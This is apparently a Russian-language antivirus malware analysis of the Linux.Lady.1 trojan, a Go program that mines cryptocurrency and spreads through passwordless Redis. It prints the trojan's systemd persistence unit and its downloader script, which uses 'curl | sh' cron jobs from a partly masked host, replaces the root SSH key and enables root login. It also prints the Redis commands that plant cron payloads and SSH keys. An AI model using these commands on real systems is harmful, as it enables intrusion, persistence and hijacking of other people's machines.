Linux.Lady.1 - Linux-троян, написанный на языке Go, похищающий криптовалюту


Linux.Lady.1 - троян для операционных систем семейства Linux, способный запускать на зараженном компьютере программу для добычи криптовалют.

Троян Linux.Lady.1 написан на разработанном корпорацией Google языке программирования Go. Он способен:

  • собирать и передавать информацию о зараженном компьютере на управляющий сервер;
  • скачивать и запускать утилиты для добычи (майнинга) криптовалют;
  • атаковать другие компьютеры в сети с целью установки на них собственной копии.


В своей архитектуре троян использует множество библиотек, опубликованных на популярнейшем сервисе хранения и совместной разработки приложений GitHub.

Linux.Lady.1 Ispolzuemie biblioteki

При запуске троян проверяет наличие ключей, а в случае их отсутствия завершает работу:

  • Version — вывести на экран версию трояна и завершить работу;
  • Install — установить трояна в системе;
  • D — запустить основные функции трояна.


При запуске с ключом Install вредонос проверяет, соответствует ли имя исполняемого файла /usr/sbin/ntp. Если нет, то копирует себя по этому пути и создает файл /etc/systemd/system/ntp.service следующего содержания:

[Unit]
Description=NTP daemon
ConditionFileIsExecutable=/usr/sbin/ntp
[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/usr/sbin/ntp "-D"
Restart=always
RestartSec=120
[Install]
WantedBy=multi-user.target


После этого троян запускает свою копию с ключом D. При этом зловред создает 4 потока, каждому из которых передает свой канал. С их помощью потокам передаются следующие структуры:

"chan []st.IPRule"
"chan st.Minerd"
"chan st.Update"
"chan []st.Attack"


Затем вредоносная программа переходит в режим сна на период от 15 до 45 секунд, после чего передает на управляющий сервер следующую информацию:

  • версию трояна;
  • количество процессоров на зараженной машине;
  • имя хоста;
  • количество запущенных процессов;
  • имя ОС;
  • семейство ОС;
  • время непрерывной работы хоста (аптайм).


В ответ троян получает конфигурационный файл, с использованием которого скачивается и запускается программа-майнер, предназначенная для добычи криптовалют. Троян определяет внешний IP-адрес инфицированной машины с помощью специальных сайтов, ссылки на которые вредоносная программа получает в файле конфигурации. Полученные таким образом деньги троянец зачисляет на принадлежащий злоумышленникам электронный кошелек.

Linux.Lady.1 Informaciya o zachislenii

Затем Linux.Lady.1 вычисляет на основе файла конфигурации маску подсети External_ip\8 (маска 255.0.0.0) и пытается подключиться к удаленным узлам через порт 6379 (redis) без пароля. В случае удачного подключения, троян обращается к указанному в файле конфигурации URL, загружает оттуда сценарий, детектируемый под именем Linux.DownLoader.196, и добавляет его в cron атакованной машины:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * curl -fsSL http://r.*****ring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r. *****ring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi
if [ ! -f "/etc/init.d/ntp" ]; then
    if [ ! -f "/etc/systemd/system/ntp.service" ]; then
        mkdir -p /opt
        curl -fsSL http://r. ****ring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
    fi
fi
/etc/init.d/ntp start
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9


После соединения троян выполняет на удаленном узле следующие команды:

config set stop-writes-on-bgsave-error no
config set rdbcompression no
config set dir /var/spool/cron
config set dbfilename root
set 1 ("\n\n*/1 * * * * curl -L %s | sh\n\n") % (ShellUrl из конфига)
save
config set dir /root/.ssh
config set dbfilename authorized_keys
set 1 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4TjWxZeA8JlaBwfvgtjvDT0bm9d4JGbzz1KIIGyvSKxd7
bqYLwXfxr0Q+tZxF5nHXldH2pRNacD7Gm8XX4aZCUYlL5Ev0goYmOTgXOQNkgyVQKPE6KGV5BZpNoB2sbIkuweLbbdZaOcncnFvAEh7dV
UQ5lh2QLz/IuRzakrzaJeTPiaD3BAyXhjcVwDFn1Lb84uiqc7nW6gw2bIaSMOrNTfZH/xftGdI'UpJoQK06jmFrTlpWaL5joAooc2Evan6XnqkO4g5In7tjhX8pBtCBGk78SKCJmkEjK'+xbN+7oZhuaeB/ubPm3xDahi+w1xHGZIt/N7z268Fz3rQAhBUZ+eQ==
save
del 1
set dir /tmp
set dbfilename dump.rdb
config set rdbcompression yes


В список authorized_keys троян добавляет ключ для соединения по протоколу SSH. Затем пытается соединиться с удаленным узлом по протоколу SSH и, если это удается, выполняет следующую команду:

(curl -fsSL %s?ssh | sh) % (ShellUrl)